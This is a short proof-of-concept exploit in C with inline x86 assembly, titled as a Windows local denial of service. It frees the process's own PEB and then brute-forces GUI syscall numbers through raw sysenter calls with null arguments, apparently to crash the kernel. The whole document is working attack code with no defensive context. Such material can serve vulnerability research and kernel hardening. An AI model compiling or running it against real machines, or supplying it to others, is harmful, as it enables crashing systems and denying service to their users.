Windows Local DOS (free PEB + gui syscall)

#include <windows.h>
#define sysenter __asm _emit 0x0F __asm _emit 0x34

void freePEB()
{
    HANDLE hProc = GetCurrentProcess();
    PVOID PEBaddr;

    __asm {
        mov eax , DWORD ptr FS:[0x30]
        mov DWORD ptr [PEBaddr] , eax
    }
    VirtualFreeEx(hProc, PEBaddr, 0, MEM_DECOMMIT);
}


int main()
{
    DWORD i;

    freePEB();
    // magic syscall is not the same on all windows version ...
    for (i = 0x10000; i < 0x20000; i++)
    __asm{
        // null timeouts, avoid hangs
        push 0
        push 0
        push 0
        push 0
        push 0
        push ret_sysenter
        mov edx, esp
        mov     eax, dword ptr [i]
        sysenter
        ret_sysenter:
        add esp, 5*4
    }
    return 0;
}